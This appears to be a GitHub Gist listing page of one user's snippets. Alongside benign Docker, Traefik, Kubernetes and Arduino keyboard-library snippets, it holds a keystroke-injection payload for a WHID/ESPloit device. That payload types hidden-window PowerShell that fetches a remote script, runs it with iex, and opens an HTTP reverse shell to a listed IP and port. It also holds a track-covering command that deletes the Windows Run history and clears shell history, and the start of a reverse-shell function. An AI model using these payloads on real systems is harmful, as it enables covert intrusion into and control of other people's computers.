Skip to content

Instantly share code, notes, and snippets.

@r2brain
r2brain / reg_delete
Last active April 21, 2020 15:55
delete history run command
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
Clear-history
function Invoke-WebRev{
param
(
[string]$ip,
[string]$port,
[switch]$ssl
)
$help=@"
@r2brain
r2brain / Keyboard.cpp
Created April 21, 2020 09:50
Arduino Keyboard.cpp es_Es layout
/*
Keyboard.cpp
Copyright (c) 2015, Arduino LLC
Original code (pre-library): Copyright (c) 2011, Peter Barrett
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
@r2brain
r2brain / payload-whid-injector
Created April 21, 2020 09:48
payload-whid-injector
Rem:Generated by Dckuino.js by NURRL
Rem:Modified for use with ESPloit by Corey Harding
Rem:-----
Press:131+114
CustomDelay:500
Print:powershell iwr -useb "https://gist.githubusercontent.com/irraz/d3c49e7fbcc5a103a692c65d499c7281/raw/61c65b216a23a32c6a30ce4ddfa3ce182d98e3fc/HTTP-revshell | iex ; HTTP-revshell "
Press:176
powershell -w h -nop iwr -useb "https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/dev/Invoke-WebRev.ps1 | iex ; Invoke-WebRev -ip 192.168.1.123 -p 443 -ssl"
#!/bin/bash
#Kubernetes Backup export config to json file
environment="${1:-pre}"
environmentContext="${1:-pre}"
#We use same context for dev and pre
if [ "$environmentContext" == "int" ]; then
environmentContext=pre;
fi
@r2brain
r2brain / traefik.router.yml
Last active May 27, 2018 15:58
Deploy Traefik LoadBalancer in Docker Swarm stack
version: '3'
services:
traefik:
image: traefik # The official Traefik docker image
command: --api --docker --docker.watch --docker.domain=local.net # Enables the web UI and tells Træfik to listen to docker
ports:
- "80:80"
- "443:443"
- "8080:8080" # The Web UI (enabled by --api)
volumes:
@r2brain
r2brain / Dockerfile
Last active August 29, 2015 14:07 — forked from benschw/Dockerfile
FROM eboraas/debian:stable
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get -y install mysql-client mysql-server
RUN sed -i -e"s/^bind-address\s*=\s*127.0.0.1/bind-address = 0.0.0.0/" /etc/mysql/my.cnf
ADD ./startup.sh /opt/startup.sh
$ docker rm $(docker ps -a -q)
$ docker rmi $(docker images -q)
#!/bin/bash
docker stop `docker ps -aq`
docker rm `docker ps -aq`
docker rmi `docker images -aq`